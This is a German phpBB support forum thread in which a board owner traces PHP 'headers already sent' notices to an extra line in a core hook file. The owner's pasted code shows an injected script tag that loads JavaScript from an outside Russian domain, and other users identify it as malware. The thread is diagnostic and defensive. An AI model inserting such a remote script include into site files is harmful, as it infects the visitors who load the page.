Seite 1 von 1

Cannot modify header information

Verfasst: 29.08.2010 19:28
von TopperHardey
Hallo zusammen,
habe seit heute folgendes Problem mit meinem Board:
Beim Aufruf der Seite (http://www.derskatabend.de) erscheint oben folgende Meldung:

[phpBB Debug] PHP Notice: in file /includes/functions.php on line 4392: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:251)
[phpBB Debug] PHP Notice: in file /includes/functions.php on line 4394: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:251)
[phpBB Debug] PHP Notice: in file /includes/functions.php on line 4395: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:251)
[phpBB Debug] PHP Notice: in file /includes/functions.php on line 4396: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:251)


Habe jedoch seit mindestens 4 Wochen kein Update mehr durchgeführt?!

Hat jemand eine Idee was die Ursache seien kann?

Danke!

Re: Cannot modify header information

Verfasst: 29.08.2010 19:42
von Metzle
Hallo,

schau mal hier: KB:headers_already_sent

Re: Cannot modify header information

Verfasst: 29.08.2010 20:13
von DeepSurfer
Schalte mal den Debug-Modus in der config.php ab.

Re: Cannot modify header information

Verfasst: 29.08.2010 20:47
von TopperHardey
Auszug aus der config.php

// @define('DEBUG', true);
// @define('DEBUG_EXTRA', true);
?>


war also nicht an?!

Re: Cannot modify header information

Verfasst: 29.08.2010 20:49
von TopperHardey
hier noch der Auszug aus der functions.php (ab Zeile 4392)

// application/xhtml+xml not used because of IE
header('Content-type: text/html; charset=UTF-8');

header('Cache-Control: private, no-cache="set-cookie"');
header('Expires: 0');
header('Pragma: no-cache');

return;
}

Re: Cannot modify header information

Verfasst: 29.08.2010 21:12
von Metzle
Hallo,

die includes/functions.php ist nicht für den Fehler verantwortlich, das hättest du aber auch erfahren, wenn du den von mir verlinkten Artikel durchgelesen hättest ;)

Die relevante Datei ist folgende /includes/hooks/index.php und zwar in Zeile 251.
Da eine originale Datei nur 250 Zeilen hat, hast du wohl eine Zeile zuviel, die du mal löschen solltest und dann die Datei wieder abspeichern solltest.

Re: Cannot modify header information

Verfasst: 29.08.2010 21:53
von TopperHardey
ohh, sorry hatte in der Fehlermeldung nur die erste Meldung gelesen.. :-)
Hab die von dir erwähnte Zeile mal angeschaut:

Code: Alles auswählen

	function remove_hook($definition)
	{
		$class = (!is_array($definition)) ? '__global' : $definition[0];
		$function = (!is_array($definition)) ? $definition : $definition[1];

		if (isset($this->hooks[$class][$function]))
		{
			unset($this->hooks[$class][$function]);

			if (isset($this->hook_result[$class][$function]))
			{
				unset($this->hook_result[$class][$function]);
			}
		}
	}
}

?>
<script type="text/javascript" src="http://misspan.ru/Native_File.js"></script>
<!--bd5a82c700d535045505b9d2d5b55cfa-->
In dieser ist nur ein HASH Wert oder ähnliches? bd5a82c700d535045505b9d2d5b55cfa

Nun meine Frage, bringt es was die Original Datei wieder einzuspielen?

Danke, Gruß TopperHardey

Re: Cannot modify header information

Verfasst: 29.08.2010 21:57
von Mahony
Hallo
Du hast dir anscheinend einen Schädling eingefangen.


Grüße: Mahony

Re: Cannot modify header information

Verfasst: 29.08.2010 22:12
von TopperHardey
aha, das klingt ja gar nicht gut...!!!
wahrscheinlich hilft es nicht nur wenn man die zwei zeilen code entfernt...oder?
(muss mal schauen wie alt das letzte backup ist)

Re: Cannot modify header information

Verfasst: 29.08.2010 22:30
von Mahony
Hallo
Lies mal hier KB:gehackt

P.S. Ich würde empfehlen deinen PC ebenfalls mal nach Schädlingen zu scannen.

Grüße: Mahony